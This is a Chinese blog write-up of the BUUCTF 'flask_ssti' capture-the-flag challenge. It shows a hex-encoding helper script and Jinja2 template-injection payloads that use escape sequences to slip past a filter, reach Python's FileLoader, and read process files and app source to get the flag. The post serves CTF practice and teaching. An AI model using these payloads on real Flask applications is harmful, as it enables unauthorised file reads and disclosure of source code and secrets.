博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
buuctf [pasecactf_2019]flask_ssti
阅读量:2065 次
发布时间:2019-04-29

本文共 1388 字,大约阅读时间需要 4 分钟。

  • 题目已经告诉是SSTI模板注入了
  • 测试一下
    在这里插入图片描述
  • 做题时用""发现了过滤 fuzz一下
  • 过滤了很多东西
  • 想到去年打校赛自己未解出来的一题 结合题目提示 是个16进制转换
  • 附上自己写的python脚本
code = "/proc/self/fd/1"ssti = ""length = len(code)for i in range(length):    ssti += "\\x" + hex(ord(code[i]))[2:]print(ssti)
  • 将下面内容转化为16进制
  • __class__:\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f
  • __base__:\x5f\x5f\x62\x61\x73\x65\x5f\x5f
  • __subclasses__:\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f
  • 构造payload:
{
{
[]["\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"]["\x5f\x5f\x62\x61\x73\x65\x5f\x5f"]["\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f"]()}}

在这里插入图片描述

  • 接下来就是选可用的对象和调用函数了
  • 我原本想用catch_warnings但是到最后的部分想起来.被过滤了不知道怎么调用了
  • 看了一下wp
  • 调用了这个类<class '_frozen_importlib_external.FileLoader'>
  • payload:
{
{
[]["\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"]["\x5f\x5f\x62\x61\x73\x65\x5f\x5f"]["\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f"]()[91]["\x67\x65\x74\x5f\x64\x61\x74\x61"](0,"/proc/self/cmdline")}}

在这里插入图片描述

  • 发现现在运行的程序时app.py
  • payload:
{
{
[]["\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"]["\x5f\x5f\x62\x61\x73\x65\x5f\x5f"]["\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f"]()[91]["\x67\x65\x74\x5f\x64\x61\x74\x61"](0,"app\x2epy")}}
  • 获得程序源码 可以推出flag所在位置
{
{
[]["\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"]["\x5f\x5f\x62\x61\x73\x65\x5f\x5f"]["\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f"]()[91]["\x67\x65\x74\x5f\x64\x61\x74\x61"](0,"/proc/self/fd/3")}}
  • 得到flag!!!

转载地址:http://nfwmf.baihongyu.com/

你可能感兴趣的文章
阿里宣布拆中台,首当其冲就是优化数据中台架构?
查看>>
Cilium 源码解析:Node 之间的健康探测(health probe)机制
查看>>
前几天是谁说 WireGuard 不香的?看我今天怎么怼你
查看>>
配置 containerd 镜像仓库完全攻略
查看>>
iTerm 2 使用触发器和 expect 实现 ssh 自动登录
查看>>
Kubernetes Pod 突然就无法挂载 Ceph RBD 存储卷了。。
查看>>
解决 Kubernetes 部署 Metrics Server 无法访问 Apiserver 问题
查看>>
AWS 容器三大新品:K8s 发行版,免费镜像库和 “Game Changer”AWS Proton
查看>>
多平台容器镜像构建就看这一篇
查看>>
macOS Big Sur 使用全新虚拟化框架创建超轻量虚拟机!
查看>>
16 岁高中生成功在 iPhone 7 上安装 Ubuntu 20.04 桌面!
查看>>
两个程序都要用同一个端口,怎么解?
查看>>
有了这款图形管理界面,一分钟内配置 10 个 WireGuard 客户端不是梦
查看>>
Containerd镜像lazy-pulling解读
查看>>
Grafana 教程 - 构建你的第一个仪表盘
查看>>
由 OOM 引发的 ext4 文件系统卡死
查看>>
什么?WireGuard 可以让躲在 NAT 后面的客户端之间直连了??
查看>>
k8s集群内的节点,可能没你想象的那么健壮!(磁盘管理篇)
查看>>
利用 ebpf sockmap/redirection 提升 socket 性能(2020)
查看>>
春节前最后一波福利,Alibaba Java 训练营]5天突破面向对象编程限时免费报名!...
查看>>